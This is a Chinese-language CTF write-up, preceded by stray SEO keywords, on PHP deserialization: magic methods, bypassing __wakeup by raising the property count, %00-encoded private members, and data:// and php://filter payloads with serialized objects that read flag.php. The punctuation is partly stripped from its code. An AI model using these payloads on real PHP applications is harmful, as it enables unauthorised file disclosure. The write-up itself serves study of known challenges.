网站建设公司专业,大型网站建设,单位网址怎么编,网站被抄袭怎么办别怕#xff0c;我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识
1.魔术方法
__construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep… 别怕我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识
1.魔术方法
__construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 一 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据//调用私有属性时使用 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
二.实例
1.绕过__wakeup, private
①脚本
?php
class Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;}
}$a new Name(admin, 100);
$b serialize($a);
var_dump($b);O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}②调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过把Name后面的2改为3或以上即可
O:4:Name:3:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;}③因为成员属性是private所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}2.php://filter, data://, __tostring
①file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串还要和welcome to the zjctf相等
这里使用的是data://写入协议
?textdata://text/plain,welcome to the zjctf②源码提示了useless.php这里使用php伪协议来读取文件
php://filter/readconvert.base64-encode/resourceuseless.php③第一个payload
?textdata://text/plain,welcome to the zjctffilephp://filter/readconvert.base64-encode/resourceuseless.php ④脚本
?php
class Flag{ //flag.php public $fileflag.php; public function __tostring(){if(isset($this-file)){ echo file_get_contents($this-file); echo br;return (U R SO CLOSE !///COME ON PLZ);} }
}
$a new Flag();
echo serialize($a);⑤第二个payload
?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:8:flag.php;}不加伪协议了 flie还得正确地写
3.
_destruct()方法会把op的值改为1这里需要绕过一下在2前面加一个空格即可op 2
脚本
?php
class FileHandler {public $op 2;public $filename flag.php;public $content ;
}
$a new FileHandler();
echo serialize($a);
?